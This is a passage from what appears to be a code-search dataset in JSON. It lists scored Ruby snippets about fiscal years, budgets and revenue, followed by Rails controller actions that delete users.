"f62ad9698c3b3d66f40674a3bee89cce", "score": "0.57664925", "text": "def gas_year\n y = year\n if self< Date.new(y,10,1)\n y\n else\n y+1\n end\n end", "title": "" }, { "docid": "04bb18d088f19f30f3cfa28e2211c532", "score": "0.57563263", "text": "def years\n self.to_i * 31_557_600\n end", "title": "" }, { "docid": "a525600c5aa66bfb69f4fa02931d00ee", "score": "0.5719151", "text": "def years; self * YEAR; end", "title": "" }, { "docid": "33cf365ddb7b199f1e04a2fa3b34ca46", "score": "0.5705725", "text": "def w_year; end", "title": "" }, { "docid": "d23559a78573a6e74d48e1ca25080a32", "score": "0.570489", "text": "def cash_flow(org = nil)\n\n if org\n line_items = grants.where('organization_id = ?', org.id)\n else\n line_items = grants\n end\n\n first_year = line_items.empty? ? current_fiscal_year_year : line_items.first.fy_year\n\n a = []\n balance = 0\n\n (first_year..last_fiscal_year_year).each do |yr|\n year_amount = 0\n year_spent = 0\n year_committed = 0\n\n list = line_items.where('fy_year = ?', yr)\n list.each do |fli|\n year_amount += fli.amount\n year_spent += fli.spent\n year_committed += fli.committed\n end\n\n balance += year_amount - (year_spent + year_committed)\n\n # Add this years summary to the array\n a << [fiscal_year(yr), year_amount, year_spent, year_committed, balance]\n end\n a\n\n end", "title": "" }, { "docid": "6b650f0ba8d969b6ead8b881fb97f113", "score": "0.57012856", "text": "def year() end", "title": "" }, { "docid": "a3f618f8c70244560b1f53ee5d645284", "score": "0.5693333", "text": "def activities_billing_total(year)\n query = <<-QUERY\n select sum(orderds_order_items.item_cost) as total_cost\n FROM orderds_order_items \n JOIN orderds_orders on orderds_orders.id = orderds_order_items.order_id\n where YEAR(orderds_order_items.date) = ? and \n orderds_orders.status NOT IN (1,3) \n QUERY\n\n @repository.adapter.select(query, [year])\n end", "title": "" }, { "docid": "93f416c1a530c89f7849873283a5c760", "score": "0.5684666", "text": "def annualized_portfolio_amount_needed\n savings_portion_needed * 12.0\n end", "title": "" }, { "docid": "52089862e7422ab349c85c08658fe06f", "score": "0.5674095", "text": "def existing_clients_new_revenue \n existing_clients.where(new_money: true).sum(:first_year_comp)\nend", "title": "" }, { "docid": "5924597d0ea1a77e421323f828ea2e26", "score": "0.5669602", "text": "def years_needed\n 30\n end", "title": "" }, { "docid": "ca10c2eedf4c3b8f94b8b745eb5424ef", "score": "0.56678444", "text": "def income_this_month\n Sale.past_month.sum(:total)\n end", "title": "" }, { "docid": "42727549405a4e609cf8b801d0777cf3", "score": "0.56558484", "text": "def year; end", "title": "" }, { "docid": "42727549405a4e609cf8b801d0777cf3", "score": "0.56558484", "text": "def year; end", "title": "" }, { "docid": "f70a86631c564a6e77aa9154533b6bb2", "score": "0.56487566", "text": "def total_annual_rent_collected\n units.map { |unit| unit.is_vacant ? 0 : unit.monthly_rent }.reduce(:+) * 12\n end", "title": "" }, { "docid": "ff5ff45b38a8a22dfe5172b2737a6a4e", "score": "0.5615613", "text": "def show_total_income\n\n self.years.each do |year|\n if self.total_income\n self.total_income += year.total_income\n else\n total_income = 0\n end\n end\n total_income\n end", "title": "" }, { "docid": "6d44a271da23f2eeaaf59dbc8f512cbb", "score": "0.5614787", "text": "def update_project_fiscal_year\n if multi_year? and activity_line_items.present?\n self.fy_year = activity_line_items.pluck(:fy_year).min\n end\n end", "title": "" }, { "docid": "000008102b325ab8e320af770b40a43d", "score": "0.56139636", "text": "def nb_year(p0, percent, aug, p)\n count = 0\n while p0 < p\n p0 = p0 + (p0 * percent * 0.01).to_i + aug\n count += 1\n end\n \n return count\nend", "title": "" }, { "docid": "edf89f8ed8a4aec1e7f2371bb4866fda", "score": "0.5613762", "text": "def annual_cost\n (number_of_positions * hourly_rate * hours_per_week * number_of_weeks)\n end", "title": "" }, { "docid": "edf89f8ed8a4aec1e7f2371bb4866fda", "score": "0.5613762", "text": "def annual_cost\n (number_of_positions * hourly_rate * hours_per_week * number_of_weeks)\n end", "title": "" }, { "docid": "8b394293066ea3d052790f8eba78ebd4", "score": "0.55947495", "text": "def count\n @count ||= Date.current.year - @release_date.year\n end", "title": "" }, { "docid": "aed47549c6b814f3a920ce4934810eb8", "score": "0.559411", "text": "def cash_forecast(org_id = nil)\n\n if org_id\n line_items = funding_line_items.where('organization_id = ?', org_id)\n else\n line_items = funding_line_items\n end\n\n first_year = line_items.empty? ? current_fiscal_year_year : line_items.first.fy_year\n\n a = []\n cum_amount = 0\n cum_spent = 0\n cum_committed = 0\n\n (first_year..last_fiscal_year_year).each do |yr|\n year_amount = 0\n year_spent = 0\n year_committed = 0\n\n list = line_items.where('fy_year = ?', yr)\n list.each do |fli|\n year_amount += fli.amount\n year_spent += fli.spent\n year_committed += fli.committed\n end\n\n cum_amount += year_amount\n cum_spent += year_spent\n cum_committed += year_committed\n\n # Add this years summary to the cumulative amounts\n a << [fiscal_year(yr), cum_amount, cum_spent, cum_committed]\n end\n a\n\n end", "title": "" }, { "docid": "db246e22379a8755ba1aa2d87bc2a1f5", "score": "0.5585603", "text": "def calculate_years(principal, interest, tax, desired)\n# principal amount\n year = 0\n while principal < desired\n year += 1\n income = principal * interest\n principal += income - income * tax\n end\n year\nend", "title": "" }, { "docid": "c909d40866c4d7fd0c5baabe2dcf56e4", "score": "0.5570025", "text": "def donation_this_year\n donation_year = Donation.where(\"strftime('%Y', donation_date) = ?\", Time.now.year.to_s)\n currency(donation_year.sum(:amount))\n end", "title": "" }, { "docid": "0ea1063b9527b5f140387fc75d7ee399", "score": "0.55646944", "text": "def start_year\n Time.now.year - 75\n end", "title": "" }, { "docid": "0b6103745e4cc20b819204359dac1ad9", "score": "0.5542678", "text": "def total_years\n all_years = artists.map do |artist|\n artist.years_active\n end\n all_years.inject(:+)\n end", "title": "" }, { "docid": "c6e8fc50eeaffcd2a9c38a7463ee269b", "score": "0.5524207", "text": "def year(input) = new_year(input).year - 621", "title": "" }, { "docid": "ab74cb2f0714f3f4e0513450fed78f7f", "score": "0.55219376", "text": "def grows_fruits\n return @orange_count = @tree_years * 100\n end", "title": "" }, { "docid": "d79fc1dddc9e423653cc33dc838589ba", "score": "0.5512647", "text": "def refere_based_on_diput\n yy = self.starting_at.year\n mm = self.starting_at.month\n if yy >= 2000\n yy = yy - 2000\n end\n if yy > 1900\n yy = yy - 1900\n end\n diput = !self.subscriber.blank? ? self.subscriber.diput : self.client.diput\n (yy * 10000000000) + (mm * 100000000) + diput.to_i\n end", "title": "" }, { "docid": "e0a3f28fccad72ea732ec43714cfaa4c", "score": "0.551254", "text": "def cash_on_cash(year)\n if not self.cache[year][:cash_on_cash]\n val = after_tax_cash_flow(year) / down_payment.to_f\n self.cache[year][:cash_on_cash] = val\n end\n self.cache[year][:cash_on_cash]\n end", "title": "" }, { "docid": "67312f89b78b81ea4c07041137d976a0", "score": "0.55073875", "text": "def ordered_year_count\n \tFishCount.for_year(Date.today.year).order(count_date: :desc)\n end", "title": "" }, { "docid": "c55022e37c35fc32ae58bc79e7ee47ec", "score": "0.5496392", "text": "def nb_year(p0, percent, aug, p)\n years = 0\n while p >= p0 do\n p0 += (percent/100.0 * p0) + aug\n years += 1\n end\n p years\nend", "title": "" }, { "docid": "55f60f0b2eed1d1d64a9e40133457825", "score": "0.5493084", "text": "def univ_paid_ship_rate\n return 0 unless most_recent_payment_good && university_id\n university.number_per_month(most_recent_payment_good.andand.amount)\n end", "title": "" }, { "docid": "7ce9431dbd9e7819e43c39a71493ff63", "score": "0.54803675", "text": "def get_grand_total_one_month\n\t$pokitdok_call.each do |drug|\n\t$total_cost << drug['retail']['total_cost_30_day']['amount'].to_f\n\tend\n\t\n\tsum_total_cost = $total_cost.inject(:+)\nend", "title": "" }, { "docid": "0055a94c854bcb19b0b6975fccfa072d", "score": "0.54791886", "text": "def artists_years_experienced\n years = self.all_artists.inject(0){|sum, artist| sum + artist.years_active}\nend", "title": "" }, { "docid": "bb2f61292b4e32f72ea0f83b15a4b4ed", "score": "0.54646826", "text": "def patient_monthly_costs_before_dh\n\t$pt_costs_monthy_no_dh = []\n\n\t$pokitdok_call.each do |drug|\n\t\t$pt_costs_monthy_no_dh << drug['retail']['oop_30_day']['amount'].to_f\n\tend\n\n\t$pt_costs_monthy_no_dh.inject(:+).round(2)\nend", "title": "" }, { "docid": "964815a4bb5939efbcf69bd92a266c4f", "score": "0.54633963", "text": "def index\n @year = set_year\n @travel_dates = TravelDate.for_year(set_year)\n @first_year = TravelDate.first_year\n @final_year = TravelDate.final_year\n @next_year = @year + 1\n @prev_year = @year - 1\n end", "title": "" }, { "docid": "a579cad1699403484644359108d49725", "score": "0.5461896", "text": "def year_guaranteed_cashflows(year)\n guaranteed_cashflow_components\n .map{ |c| c.generators[year].gen_cashflows }\n .transpose\n .map { |month| month.delete_if(&:nil?) }\n end", "title": "" }, { "docid": "8da589b549e2cf1bca9b5efe95c56ff6", "score": "0.5450219", "text": "def total_charged(year)\n data = query_strategy.total_charged(year)\n detail = data.inject({}) do |result, value|\n result.store(value.payment_method, {value: value.total,\n color: \"#%06x\" % (rand * 0xffffff),\n highlight: \"#%06x\" % (rand * 0xffffff),\n label: Payments.r18n.t.payment_methods[value.payment_method.to_sym]})\n result\n end\n\n result = {total: 0, detail: detail}\n data.each { |item| result[:total] += item.total}\n\n return result\n end", "title": "" }, { "docid": "a050d6d4ab716b379442c50224620d82", "score": "0.5448995", "text": "def make_year(year, bias); end", "title": "" }, { "docid": "aa973d2c25d3ce68e109349452abfbaf", "score": "0.5438229", "text": "def get_grand_total_one_month\n\t\t$pokitdok_call.each do |drug|\n\t\t$total_cost << drug['retail']['total_cost_30_day']['amount'].to_f\n\t\tend\n\n\t\tsum_total_cost = $total_cost.inject(:+)\n\tend", "title": "" }, { "docid": "7f11cbb162c53696d6d64fd2c365b774", "score": "0.54363453", "text": "def test_get_sales_totals_for_year\n sales_totals = Order.get_totals_for_year(2007)\n assert_equal 1, sales_totals[1]['number_of_sales'].to_f\n assert_equal @order.product_cost, sales_totals[1]['sales_total'].to_f\n assert_equal @order.tax, sales_totals[1]['tax'].to_f\n assert_equal @order.shipping_cost, sales_totals[1]['shipping'].to_f\n end", "title": "" }, { "docid": "a960fef615f462f07ecbc1385e33fe31", "score": "0.54267496", "text": "def compute_yearwise(incomes_or_deductions)\n income_deduction_per_year = Hash.new(0)\n\n incomes_or_deductions.each do |income_deduction|\n working_days_in_year = Float(52*5)\n daily_income = 0\n\n case income_deduction.frequency\n when \"daily\"\n daily_income = income_deduction.amount_in_cents\n when \"weekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/52)\n when \"biweekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/26)\n when \"monthly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/12)\n when \"quarterly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/4)\n when \"half_yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/2)\n when \"yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year)\n end\n\n income_deduction.start_date = TimeKeeper.date_of_record.beginning_of_year if income_deduction.start_date.to_s.eql? \"01-01-0001\" || income_deduction.start_date.blank?\n income_deduction.end_date = TimeKeeper.date_of_record.end_of_year if income_deduction.end_date.to_s.eql? \"01-01-0001\" || income_deduction.end_date.blank?\n years = (income_deduction.start_date.year..income_deduction.end_date.year)\n\n years.to_a.each do |year|\n actual_days_worked = compute_actual_days_worked(year, income_deduction.start_date, income_deduction.end_date)\n income_deduction_per_year[year] += actual_days_worked * daily_income\n end\n end\n\n income_deduction_per_year.merge(income_deduction_per_year) { |k, v| Integer(v) rescue v }\n end", "title": "" }, { "docid": "f169d501bd80cee1073830591dbe9b13", "score": "0.5422224", "text": "def min_year\n 2015\n end", "title": "" }, { "docid": "eb4ee3e068a3f712508aa2a6e17033af", "score": "0.5419779", "text": "def rate_stock_price_dev_one_year(stock_price_dev_one_year)\n now = stock_price_dev_one_year.compare\n past = stock_price_dev_one_year.value\n perf = Util.perf(now, past)\n case\n when perf > 5\n score = 1\n when perf < -5\n score = -1\n else\n score = 0\n end\n stock_price_dev_one_year.perf = perf\n stock_price_dev_one_year.score = score\n return score\n end", "title": "" }, { "docid": "51a75ee93e556a5857fa46842f3cebae", "score": "0.54177576", "text": "def cwyear\n end", "title": "" }, { "docid": "f8af5448301624acc82e63c07eb6280f", "score": "0.5396996", "text": "def production_year\n self.end.nil? ? nil : self.end.year\n end", "title": "" }, { "docid": "210f0a35383e0f8e6a3a75a80af75ac8", "score": "0.53964067", "text": "def benchmanage\n @benchmanage = @benchyear1 * @framework_rates['M140']\n end", "title": "" }, { "docid": "0f2491e55e410f760373e8ee8d621d17", "score": "0.5388196", "text": "def labor_budget\n return self.deliverables.collect(&:labor_budget).delete_if { |d| d.blank?}.inject { |sum, n| sum + n} || 0.0\n end", "title": "" }, { "docid": "0cc52190a4748fba2208550de713314e", "score": "0.5387262", "text": "def spray_paint(y)\n @year = y\n end", "title": "" }, { "docid": "f7f6d32c2a4acbeec38b6b54336b8614", "score": "0.5387018", "text": "def total_budget=\n\n end", "title": "" }, { "docid": "c3e3d1bc88f8d5c30ef2bba5bd85f36e", "score": "0.53821826", "text": "def update_big_year\n current_year = Time.zone.now.year\n return unless (created_at.year == current_year) && timestamp_changed?\n if user.subscribed?(current_year) || big_year == current_year\n self.big_year = timestamp.try(:year) == current_year ? current_year : 0\n end\n end", "title": "" }, { "docid": "5d58c0e525fe47b0e39d2d1846b8ceba", "score": "0.53746736", "text": "def call(year)\n previous_year = Population.previous_known(year)\n\n return previous_year.population if previous_year.year == year # year entered is known\n\n next_year = Population.next_known(year)\n\n # there is no next year - unable to calculate\n return nil if next_year.nil? \n\n # calculate the percentage that year is between next and previous years\n mod_percentage = (year - previous_year.year).to_f / (next_year.year - previous_year.year).to_f\n delta_population = next_year.population - previous_year.population\n\n (delta_population * mod_percentage).to_i + previous_year.population\n end", "title": "" }, { "docid": "c76b90ec4cdc11a4a6022b7f7c20823f", "score": "0.5374366", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n if @population_density >= 200\n @number_of_months += 0.5\n elsif @population_density >= 150\n @number_of_months += 1\n elsif @population_density >= 100\n @number_of_months += 1.5\n elsif @population_density >= 50\n @number_of_months += 2\n else\n @number_of_months += 2.5\n end\n end", "title": "" }, { "docid": "d9d27094bda745bf904deebd24cec8f4", "score": "0.53676826", "text": "def patient_monthly_costs_before_dh\n\t\t$pt_costs_monthy_no_dh = []\n\n\t\t$pokitdok_call.each do |drug|\n\t\t\t$pt_costs_monthy_no_dh << drug['retail']['oop_30_day']['amount'].to_f\n\t\tend\n\n\t\t$pt_costs_monthy_no_dh.inject(:+).round(2)\n\tend", "title": "" }, { "docid": "7b986f6f57c8511b9f74d90193622040", "score": "0.5365531", "text": "def yearly(options = {})\n branch options.merge(every: :year)\n end", "title": "" }, { "docid": "7b986f6f57c8511b9f74d90193622040", "score": "0.5365531", "text": "def yearly(options = {})\n branch options.merge(every: :year)\n end", "title": "" }, { "docid": "24c12d7d1a58030651f0574f494cb1dc", "score": "0.5362873", "text": "def totals_by_month_year\n revenue = Hash.new { |hash, key| hash[key] = {} }\n leases_by_year.each do |lease|\n lease.each do |year, months|\n months.each do |month, rent|\n revenue[year][month] ? revenue[year][month] += rent : revenue[year][month] = rent\n end\n end\n end\n revenue\n end", "title": "" }, { "docid": "e34ba7e957c28ef56dd1c4ef9ab93051", "score": "0.53577733", "text": "def oneYearPasses\n @orangeCount = 0\n @age += 1\n if @age>15\n die\n end\n @height += 0.5\n if @age > 3\n @orangeCount += 5\n if @age > 6\n @orangeCount +=3\n end\n end\n end", "title": "" }, { "docid": "a455fd97cad346c84030383427e81a7f", "score": "0.53423023", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n months = 2.5\r\n\r\n if @population_density >= 200\r\n months = 0.5\r\n else\r\n increment = (@population_density/50).floor\r\n increment.times do\r\n months -= 0.5\r\n end\r\n end\r\n \r\n puts \" and will spread across the state in #{months} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "72463a4abaea094d8931772b93db2fa9", "score": "0.53405666", "text": "def get_total_year(user)\n source = get_page_source(user)\n headers = source.css('h2')\n string = nil\n headers.each do |i|\n # Strip excess whitespace and newlines\n header_text = i.text.gsub(/(\\s+|\\n)/, ' ')\n if /contributions in the last year/ =~ header_text\n string = header_text.to_i_separated\n break\n end\n end\n string || 0\n end", "title": "" }, { "docid": "091a13dcfe60f179ef961426e2a63350", "score": "0.5339957", "text": "def simple_budget_checker(total)\n\nend", "title": "" }, { "docid": "6d0f6ca51839481a928d1f9f4df9b591", "score": "0.5338703", "text": "def work_out_year(value)\n case value\n when 0..39\n 2000 + value\n when 40..99\n 1900 + value\n else\n value\n end\n end", "title": "" }, { "docid": "a1b241f2aee347a2e562b1c2432fa394", "score": "0.5324095", "text": "def products_billing_summary_by_stock(year)\n\n current_year = DateTime.now.year\n\n # Build the result holder\n total_cost = 0\n stock_items = if current_year == year\n ::Yito::Model::Booking::BookingItem.all(conditions: {active: true},\n fields: [:reference, :cost],\n order: [:category_code, :reference])\n else\n BookingDataSystem::Booking.historic_stock(year).map do |item|\n OpenStruct.new({reference: item.item_reference, cost: 0})\n end\n end\n\n summary = stock_items.inject({}) do |result, item|\n data_holder = {}\n (1..12).each { |item| data_holder.store(item, 0) }\n data_holder.store(:total, 0)\n data_holder.store(:cost, item.cost || 0)\n data_holder.store(:percentage, 0)\n total_cost = total_cost + item.cost unless item.cost.nil?\n result.store(item.reference, data_holder)\n result\n end\n data_holder = {}\n (1..12).each { |item| data_holder.store(item, 0) }\n data_holder.store(:total, 0)\n data_holder.store(:cost, 0)\n data_holder.store(:percentage, 0)\n summary.store(:TOTAL, data_holder)\n # Fill the data\n data = query_strategy.products_billing_summary_by_stock(year)\n data.each do |data_item|\n if summary.has_key?(data_item.reference)\n # stock\n summary[data_item.reference][data_item.period.to_i] = data_item.total_item_cost\n summary[data_item.reference][:total] += data_item.total_item_cost\n if summary[data_item.reference][:cost] and summary[data_item.reference][:cost] > 0\n summary[data_item.reference][:percentage] = summary[data_item.reference][:total] /\n summary[data_item.reference][:cost] * 100\n end\n # total\n summary[:TOTAL][data_item.period.to_i] += data_item.total_item_cost\n summary[:TOTAL][:total] += data_item.total_item_cost\n summary[:TOTAL][:cost] = total_cost\n if summary[:TOTAL][:cost] and summary[:TOTAL][:cost] > 0\n summary[:TOTAL][:percentage] = summary[:TOTAL][:total] /\n summary[:TOTAL][:cost] * 100\n end\n end\n end\n\n return summary\n end", "title": "" }, { "docid": "ae274213367b540673d8bbc792491c58", "score": "0.53186643", "text": "def estimate(runs)\n distance = distance_sum(current_year(runs))\n in_km(distance / Time.now.yday.to_f * 365).round(1)\n end", "title": "" }, { "docid": "0c914f3e625a395fa54324a710a498d8", "score": "0.5318212", "text": "def patient_monthly_costs_during_dh\n\t$pt_costs_monthy_during_dh = []\n\n\t$pokitdok_call.each do |drug|\t\n\t\t#Patient pays no more than 45% of ⇒ plan’s cost for covered brand-name prescription drugs + pharmacy’s dispensing fee\n\t\tif drug['tier'] == 1\n\t\t\t$pt_costs_monthy_during_dh << (drug['retail']['total_cost_30_day']['amount'].to_f * 0.58)\n\n\t\t#patient pays 58% of cost, 58% of cost goes toward geting out of donut hole\t\t\t\n\t\telsif drug['tier'] == 2 \n\t\t\t$pt_costs_monthy_during_dh << (drug['retail']['total_cost_30_day']['amount'].to_f * 0.45)\n\t\telsif drug['tier'] == 3\n\t\t\t$pt_costs_monthy_during_dh << (drug['retail']['total_cost_30_day']['amount'].to_f * 0.45)\n\t\telse\n\t\t\t$pt_costs_monthy_during_dh << drug['retail']['total_cost_30_day']['amount'].to_f\n\t\tend\n\tend\n\n\t$pt_costs_monthy_during_dh.inject(:+).round(2)\nend", "title": "" }, { "docid": "6eccde053e5dfcd849e8961d88eed432", "score": "0.5318091", "text": "def paid_thru_now\n # Turn off March 1 of year following paid year\n paid_thru_year >= (Date.today - 59).year\n end", "title": "" }, { "docid": "ac1b53485dbb6a83f6ba2e0e79654816", "score": "0.531571", "text": "def colt(year); inproceedings('COLT', year) end", "title": "" }, { "docid": "f0601974fdf2c60aa7be12eed01d45e9", "score": "0.53138393", "text": "def quantity_sold(fin_year)\n invoice_line_items.where(:type=>\"InvoiceLineItem\", :created_at=> fin_year.start_date..fin_year.end_date).sum(:quantity)\n end", "title": "" }, { "docid": "82fd04188a7c56e19e5a3103743cab07", "score": "0.5311555", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n @months_to_spread = 0.0\n\n if @population_density >= 200\n @months_to_spread += 0.5\n elsif @population_density >= 150\n @months_to_spread += 1\n elsif @population_density >= 100\n @months_to_spread += 1.5\n elsif @population_density >= 50\n @months_to_spread += 2\n else\n @months_to_spread += 2.5\n end\n\n end", "title": "" }, { "docid": "82fd04188a7c56e19e5a3103743cab07", "score": "0.5311555", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n @months_to_spread = 0.0\n\n if @population_density >= 200\n @months_to_spread += 0.5\n elsif @population_density >= 150\n @months_to_spread += 1\n elsif @population_density >= 100\n @months_to_spread += 1.5\n elsif @population_density >= 50\n @months_to_spread += 2\n else\n @months_to_spread += 2.5\n end\n\n end", "title": "" }, { "docid": "8ad01ebdaf0d8ab78842d45a4ba67c5e", "score": "0.5310439", "text": "def make_one_year_older\n @age += 1\n end", "title": "" }, { "docid": "ffa1b464d75862951b222739486e8851", "score": "0.5310394", "text": "def this_year(limit: 5, markdown: false, rank: :top) \r\n \r\n build_table sort_coins('year', limit: limit, rank: rank), markdown: markdown\r\n\r\n end", "title": "" }, { "docid": "12345574e7e647e9bd3d7e20c3813d93", "score": "0.5306149", "text": "def set_big_year\n current_year = Time.zone.now.year\n return unless user.subscribed?(current_year)\n self.update_attributes(big_year: current_year) if timestamp.try(:year) == current_year\n end", "title": "" }, { "docid": "5a580e1c35d8cbde14b4c6fa0de3ef47", "score": "0.530444", "text": "def raw_year\n start_on.year\n end", "title": "" }, { "docid": "48ff143a07c76ad1482e88908aac6359", "score": "0.52989113", "text": "def make_one_year_older\n @age +=1\n end", "title": "" }, { "docid": "22ebf7173e322b5a2322924586ddf958", "score": "0.52971274", "text": "def payees_with_usage; end", "title": "" }, { "docid": "bcaecf3783dbc59fbe0eff4dc901c416", "score": "0.5293573", "text": "def succ\n FiscalYear.new(self + 1)\n end", "title": "" }, { "docid": "2731eb0dc071eb16b2f77d866743a23f", "score": "0.52889216", "text": "def yearly_rate\n\t\t yearly? ? rate : rate * 12\n\t\t end", "title": "" }, { "docid": "ba827e974d58ce6eea2181dd23d91a32", "score": "0.5287679", "text": "def total_unpaid_visits\n next_cutoff_date = Claim.order(date_paid: :desc).limit(1).pluck(:date_paid).first + 3.days rescue Date.today \n prev_cutoff_date = next_cutoff_date - 45.days \n @total_unpaid = Visit.where(status: BILLED).where(\"entry_ts > ?\", prev_cutoff_date).where(\"entry_ts <?\", next_cutoff_date).sum{|v| v.total_fee}\n flash[:info] = \"Current total of billed claims for all doctors for period ending #{next_cutoff_date} is: #{ sprintf \"$%.0f\", @total_unpaid}\"\n end", "title": "" }, { "docid": "419ee6f3c4f5f6dd7fcc49e1dd1878ec", "score": "0.5284398", "text": "def year_rome_founded\n bce(753)\n end", "title": "" } ]
18d9decca3950b1977df178a2a2116ea
DELETE /users/1 DELETE /users/1.xml
[ { "docid": "bcb44062aa85173741865492b002c308", "score": "0.0", "text": "def destroy\n @parallel_management = ParallelConfiguration.find(params[:id])\n @parallel_management.destroy\n\n respond_to do |format|\n format.html { redirect_to(parallel_managements_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
[ { "docid": "d29aa233ddb4837c263e69069aaa2550", "score": "0.771627", "text": "def user_delete(username)\n make_request(:delete,\"#{user_url(username)}.xml\")\n end", "title": "" }, { "docid": "76704cc378f6c8f5f8049e9a28db23c1", "score": "0.715287", "text": "def destroy\n @user = @users.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "bf9d0514355bc92a954b6369c5f9cb38", "score": "0.7053534", "text": "def destroy\n \n @user = User.where(:id=>params[:id]).first\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_path) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f76f15794b225c8cb39d45fef95ba314", "score": "0.704744", "text": "def destroy\n @user = User.find(params[:id])\n json=@user.to_json\n xml=@user.to_xml\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.json { render :json => json }\n format.xml { render :xml => xml }\n end\n end", "title": "" }, { "docid": "c885d37567ba2edf315604f21e9d376b", "score": "0.70372957", "text": "def destroy\n @user = User.find_by_id(params[:id])\n @user.delete\n\n respond_to do |format|\n format.html { redirect_to(users_path) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "266a45482ce15929a7c3ee2252b234bd", "score": "0.70270944", "text": "def destroy\n @user1 = User1.find(params[:id])\n @user1.destroy\n\n respond_to do |format|\n format.html { redirect_to(user1s_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "29fd80eb663110d7783c87ca55bf171f", "score": "0.7016608", "text": "def destroy\n @user = User.find( params[:id] )\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to( users_url ) }\n format.xml { head( :ok ) }\n end\n end", "title": "" }, { "docid": "31be2fbd2b5aedc5e7088866cdb5f8a3", "score": "0.7010104", "text": "def delete_user_data(user_id)\n # Define a path referencing the user data using the user_id\n path = \"/d2l/api/lp/#{$lp_ver}/users/#{user_id}\" # setup user path\n _delete(path)\n puts '[+] User data deleted successfully'.green\nend", "title": "" }, { "docid": "6ee5d5aab85076560526dfff04f332ea", "score": "0.7007875", "text": "def destroy\n @users = User.find(params[:id])\n @users.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9035257377b9163895c8d42de84d6dbc", "score": "0.6999638", "text": "def destroy\n user = User.find(params[:id])\n\n user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3c46b7434f966d368361769ffd790c14", "score": "0.697851", "text": "def delete_user(username)\n @r.multi do\n # delete from the user set\n @r.srem \"#{USERS_SET}\", username\n\n # then delete all user's information\n USERS_INFO.each do |attr|\n @r.del \"users:#{username}:#{attr}\"\n end\n end\n end", "title": "" }, { "docid": "bdcbed82ce565cda0e0aacf758957c8d", "score": "0.6975675", "text": "def delete\n @user.delete(@uri)\n end", "title": "" }, { "docid": "1106ad9775e283096556e719383f46f6", "score": "0.69672114", "text": "def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "1a41cdde08be89a8f0d7d2a05124d995", "score": "0.6960795", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "1a41cdde08be89a8f0d7d2a05124d995", "score": "0.6960795", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "bed2fe97ebb69277745ab9d386a7c5ff", "score": "0.69580317", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "bed2fe97ebb69277745ab9d386a7c5ff", "score": "0.6955937", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f938bafbb0f2535127dc3468a8546c8a", "score": "0.6951317", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_path) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "82849ee3f8157a78a6e31f9ff678bd9a", "score": "0.694254", "text": "def destroy\n if params[:id] == \"1\"\n flash[:error] = _('You can\\'t delete the root-user!')\n redirect_to users_path\n return\n end\n @user = User.find(params[:id])\n Accessor.find_all_by_user_id(@user.id).each do |acc|\n acc.destroy\n end\n @user.destroy\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "361f24ed0456badfb855320c9aec3d4a", "score": "0.69395965", "text": "def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d709df0e8bb94a3f581263a7928fe5ed", "score": "0.6938128", "text": "def destroy\n @title = \"Destroy\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d09233885be142dfd8a14392713c9ac1", "score": "0.6933281", "text": "def destroy\n @user = @account.users.get!(params[:id])\n @user.destroy\n\n respond_to do |format|\n flash[:notice] = t('users.destroy.notice')\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6b8489e409c012f8b1c607df280a5813", "score": "0.6932854", "text": "def destroy\r\n @user = User.find(params[:id])\r\n @user.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(users_url) }\r\n format.xml { head 